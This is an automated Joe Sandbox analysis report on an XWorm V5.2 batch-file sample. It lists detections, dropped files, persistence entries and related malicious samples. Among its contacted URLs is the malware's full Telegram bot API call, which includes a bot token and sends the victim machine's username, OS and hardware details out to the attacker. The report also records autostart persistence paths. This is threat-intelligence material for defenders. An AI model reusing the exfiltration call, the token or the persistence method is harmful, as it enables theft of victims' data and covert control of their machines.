Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Pollosappnuevo.bat	11%	ReversingLabs	Script-BAT.Trojan.Alien

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\startup_str_616.vbs	100%	Avira	VBS/Runner.VPXO
C:\Users\user\AppData\Local\Temp\e45iasd.exe	0%	ReversingLabs

Source	Detection	Scanner	Label
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
https://aka.ms/winsvr-2022-pshelp	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
http://schemas.xmlsoap.org/wsdl/	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://oneget.orgX	0%	URL Reputation	safe
http://www.microsoft.	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://oneget.org	0%	URL Reputation	safe
http://www.apache.org/licenses/LICENSE-2.0	0%	Avira URL Cloud	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Avira URL Cloud	safe
https://api.telegram.org/bot	0%	Avira URL Cloud	safe
https://api.telegram.org/bot6421494903:AAFuoWigwh2-oDYMZFAWqzFsbHJABidzW1Q/sendMessage?chat_id=6421494903:AAFuoWigwh2-oDYMZFAWqzFsbHJABidzW1Q&text=%E2%98%A0%20%5BXWorm%20V5.2%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A34B1CC6324AA14E91F87%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Error%0D%0AGPU%20:%20NW4C52%20%0D%0ARAM%20:%207.99%20GB%0D%0AGroub%20:%20XWorm%20V5.2	0%	Avira URL Cloud	safe
http://www.microsoft.co	0%	Avira URL Cloud	safe
https://github.com/Pester/Pester	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.telegram.org	149.154.167.220	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.telegram.org/bot6421494903:AAFuoWigwh2-oDYMZFAWqzFsbHJABidzW1Q/sendMessage?chat_id=6421494903:AAFuoWigwh2-oDYMZFAWqzFsbHJABidzW1Q&text=%E2%98%A0%20%5BXWorm%20V5.2%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A34B1CC6324AA14E91F87%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Error%0D%0AGPU%20:%20NW4C52%20%0D%0ARAM%20:%207.99%20GB%0D%0AGroub%20:%20XWorm%20V5.2	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000005.00000002.1520433343.00000263B3CDE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1424079642.0000027568306000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000016.00000002.2598736116.000001802B5F4000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000016.00000002.2969443709.000001803B2A0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	e45iasd.exe, 00000016.00000002.2598736116.000001802CBF8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 00000008.00000002.1404589530.00000275584BA000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://pesterbdd.com/images/Pester.png	e45iasd.exe, 00000016.00000002.2598736116.000001802B4F4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/bot	powershell.exe, 00000010.00000002.2604118350.00000121C6418000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000008.00000002.1404589530.00000275584BA000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	e45iasd.exe, 00000016.00000002.2598736116.000001802B4F4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://go.micro	e45iasd.exe, 00000016.00000002.2598736116.000001802C14F000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000018.00000002.2600358966.000002A36443A000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 0000001A.00000002.2599686863.000001EB33751000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000008.00000002.1404589530.00000275584BA000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	e45iasd.exe, 00000016.00000002.2598736116.000001802B4F4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000005.00000002.1520433343.00000263B3CDE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1424079642.0000027568306000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000016.00000002.2598736116.000001802CF12000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000016.00000002.2969443709.000001803B2A0000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000016.00000002.2598736116.000001802B4F4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.microsoft.co	e45iasd.exe, 0000001A.00000002.2597249004.000001EB310F5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	e45iasd.exe, 00000016.00000002.2598736116.000001802B4F4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	e45iasd.exe, 00000016.00000002.2598736116.000001802B4F4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://oneget.orgX	e45iasd.exe, 00000016.00000002.2598736116.000001802CBF8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.microsoft.	powershell.exe, 00000008.00000002.1430188190.00000275708B5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000005.00000002.1465156371.00000263A3AC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1404589530.0000027558291000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2604118350.00000121C5B21000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000016.00000002.2598736116.000001802B211000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000018.00000002.2600358966.000002A363BAF000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000018.00000002.2600358966.000002A363BBD000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 0000001A.00000002.2599686863.000001EB32F23000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 0000001A.00000002.2599686863.000001EB32F3D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000005.00000002.1465156371.00000263A3AC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1404589530.0000027558291000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2604118350.00000121C5B21000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000016.00000002.2598736116.000001802B211000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000018.00000002.2600358966.000002A363BE4000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 0000001A.00000002.2599686863.000001EB32F23000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/Pester/Pester	e45iasd.exe, 00000016.00000002.2598736116.000001802B4F4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://oneget.org	e45iasd.exe, 00000016.00000002.2598736116.000001802CBF8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom		62041	TELEGRAMRU	true
95.98.144.201	unknown	Netherlands		31615	TMO-NL-ASNL	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1497356
Start date and time:	2024-08-22 13:10:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	31
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	Pollosappnuevo.bat
Detection:	MAL
Classification:	mal100.troj.expl.evad.winBAT@33/23@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 54% Number of executed functions: 38 Number of non-executed functions: 1
Cookbook Comments:	Found application associated with file extension: .bat

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe, UsoClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, login.live.com, slscr.update.microsoft.com, settings-win.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: Pollosappnuevo.bat

Simulations

Behavior and APIs

Time	Type	Description
07:11:03	API Interceptor	3266473x Sleep call for process: powershell.exe modified
07:11:24	API Interceptor	206x Sleep call for process: e45iasd.exe modified
12:11:09	Task Scheduler	Run new task: RuntimeBroker_startup_616_str path: C:\Users\user\AppData\Roaming\startup_str_616.vbs
12:11:22	Task Scheduler	Run new task: e45iasd path: C:\Users\user\AppData\Local\Temp\e45iasd.exe
12:11:25	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run e45iasd C:\Users\user\AppData\Local\Temp\e45iasd.exe
12:11:33	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run e45iasd C:\Users\user\AppData\Local\Temp\e45iasd.exe
12:11:41	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e45iasd.lnk

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
149.154.167.220	Xclient.exe	Get hash	malicious	XWorm	Browse
	PollosAplicaccion.bat	Get hash	malicious	XWorm	Browse
	Pollos.exe	Get hash	malicious	XWorm	Browse
	lYL8naoHXw.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	NEW.P.ORDER .ENQUIRY56433.PDF.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	kgMdslznpG.hta	Get hash	malicious	Cobalt Strike, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	DHL Shipping Document_308-4716.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	st.exe	Get hash	malicious	XWorm	Browse
	XClient.exe	Get hash	malicious	XWorm	Browse
	SecuriteInfo.com.Win32.CrypterX-gen.19624.6979.exe	Get hash	malicious	Clipboard Hijacker, PureLog Stealer, RedLine, zgRAT	Browse
95.98.144.201	Xclient.exe	Get hash	malicious	XWorm	Browse
	PollosAplicaccion.bat	Get hash	malicious	XWorm	Browse
	Pollos.exe	Get hash	malicious	XWorm	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.telegram.org	Xclient.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	PollosAplicaccion.bat	Get hash	malicious	XWorm	Browse	149.154.167.220
	Pollos.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	lYL8naoHXw.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	NEW.P.ORDER .ENQUIRY56433.PDF.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	kgMdslznpG.hta	Get hash	malicious	Cobalt Strike, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	DHL Shipping Document_308-4716.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	st.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	XClient.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	SecuriteInfo.com.Win32.CrypterX-gen.19624.6979.exe	Get hash	malicious	Clipboard Hijacker, PureLog Stealer, RedLine, zgRAT	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	Xclient.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	PollosAplicaccion.bat	Get hash	malicious	XWorm	Browse	149.154.167.220
	Pollos.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	149.154.167.99
	lYL8naoHXw.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	NEW.P.ORDER .ENQUIRY56433.PDF.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	kgMdslznpG.hta	Get hash	malicious	Cobalt Strike, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	DHL Shipping Document_308-4716.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	st.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
TMO-NL-ASNL	Xclient.exe	Get hash	malicious	XWorm	Browse	95.98.144.201
	PollosAplicaccion.bat	Get hash	malicious	XWorm	Browse	95.98.144.201
	Pollos.exe	Get hash	malicious	XWorm	Browse	95.98.144.201
	KKveTTgaAAsecNNaaaa.arm.elf	Get hash	malicious	Unknown	Browse	178.228.167.2
	botx.arm.elf	Get hash	malicious	Mirai	Browse	84.241.253.4
	45.66.231.213-mipsel-2024-08-09T11_47_09.elf	Get hash	malicious	Unknown	Browse	178.226.17.189
	x86.elf	Get hash	malicious	Unknown	Browse	178.230.145.133
	xd.arm7.elf	Get hash	malicious	Mirai	Browse	91.141.206.110
	XkdNB2mGwN.elf	Get hash	malicious	Mirai	Browse	178.230.74.199
	q0BdVNSe7w.elf	Get hash	malicious	Mirai	Browse	178.232.196.154

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Xclient.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	PollosAplicaccion.bat	Get hash	malicious	XWorm	Browse	149.154.167.220
	Pollos.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	RFQ#003110-Al Nasr.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	hesaphareketi__20240822.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	hesaphareketi__20240822.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	5831205-POS.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	149.154.167.220
	lYL8naoHXw.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	http://lisasierra.com	Get hash	malicious	Unknown	Browse	149.154.167.220
	NEW.P.ORDER .ENQUIRY56433.PDF.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\e45iasd.exe	PollosAplicaccion.bat	Get hash	malicious	XWorm	Browse
	gcapi64.cmd	Get hash	malicious	Unknown	Browse
	fed1bc0d4bf498ec8909dbc96118bda13606c389fa2d381a2a138ea63b69de3a_dump2.dll.dll	Get hash	malicious	Unknown	Browse
	fed1bc0d4bf498ec8909dbc96118bda13606c389fa2d381a2a138ea63b69de3a_dump2.dll.dll	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	BrowserUpdater.lnk	Get hash	malicious	Unknown	Browse
	Updater.lnk	Get hash	malicious	Unknown	Browse
	ZG7UaFRPVW.exe	Get hash	malicious	DBatLoader, Remcos	Browse
	IN-34823_PO39276-pdf.vbe	Get hash	malicious	Remcos, DBatLoader	Browse
	7XU2cRFInT.exe	Get hash	malicious	Remcos, DBatLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	9713
Entropy (8bit):	4.940954773740904
Encrypted:	false
SSDEEP:	192:39smG3YrKkDQp5SVsm5emln9smKp5FiMDOmEN3H+OHgFKxoeRH83YrKk7Vsm5emq:cEU/iQ0HzAFGLCib4Sib4IY1Y
MD5:	CAA3941248728535C7AFD19683C2FE46
SHA1:	74848C69CB14FC06C53D350E8156F9160F730112
SHA-256:	EC129D97386F9F1CD44908FA5C8C9163DA7DA5869793A861EE074A6B77D0E18A
SHA-512:	94A9474447DB299556FA6323AEBBC2C1F5808FAA70AFA5394E24F3FB8567F5C821D49D0E9D158004C4829EFA7CE2093BB99437356005E59967C7120630ADE893
Malicious:	false
Preview:	PSMODULECACHE......x.g.z..I...C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psm1........SafeGetCommand........Get-ScriptBlockScope....$...Get-DictionaryValueFromFirstKeyFound........New-PesterOption........Invoke-Pester........ResolveTestScripts........Set-ScriptBlockScope........-Z..z..a...C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\PackageManagement.psd1........Unregister-PackageSource........Save-Package........Install-PackageProvider........Find-PackageProvider........Install-Package........Get-PackageProvider........Get-Package........Uninstall-Package........Set-PackageSource........Get-PackageSource........Find-Package........Register-PackageSource........Import-PackageProvider.........x.g.z..I...C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........AfterEa

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllultnxj:NllU
MD5:	F93358E626551B46E6ED5A0A9D29BD51
SHA1:	9AECA90CCBFD1BEC2649D66DF8EBE64C13BACF03
SHA-256:	0347D1DE5FEA380ADFD61737ECD6068CB69FC466AC9C77F3056275D5FCAFDC0D
SHA-512:	D609B72F20BF726FD14D3F2EE91CCFB2A281FAD6BC88C083BFF7FCD177D2E59613E7E4E086DB73037E2B0B8702007C8F7524259D109AF64942F3E60BFCC49853
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2dryndru.mth.ps1

Download File

Process:	C:\Users\user\AppData\Local\Temp\e45iasd.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3qgw3tsq.zsu.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dmgv5gki.yix.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ekz4pmvr.jgv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hfl5ywcd.ljd.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hh3netow.d4g.ps1

Download File

Process:	C:\Users\user\AppData\Local\Temp\e45iasd.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iw5pdmk0.w5r.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jgw4tasp.p24.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_la01u205.pfs.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nvri5h3p.fpq.psm1

Download File

Process:	C:\Users\user\AppData\Local\Temp\e45iasd.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uuzvzant.zph.ps1

Download File

Process:	C:\Users\user\AppData\Local\Temp\e45iasd.exe
File Type:	ASCII text, with no line terminators
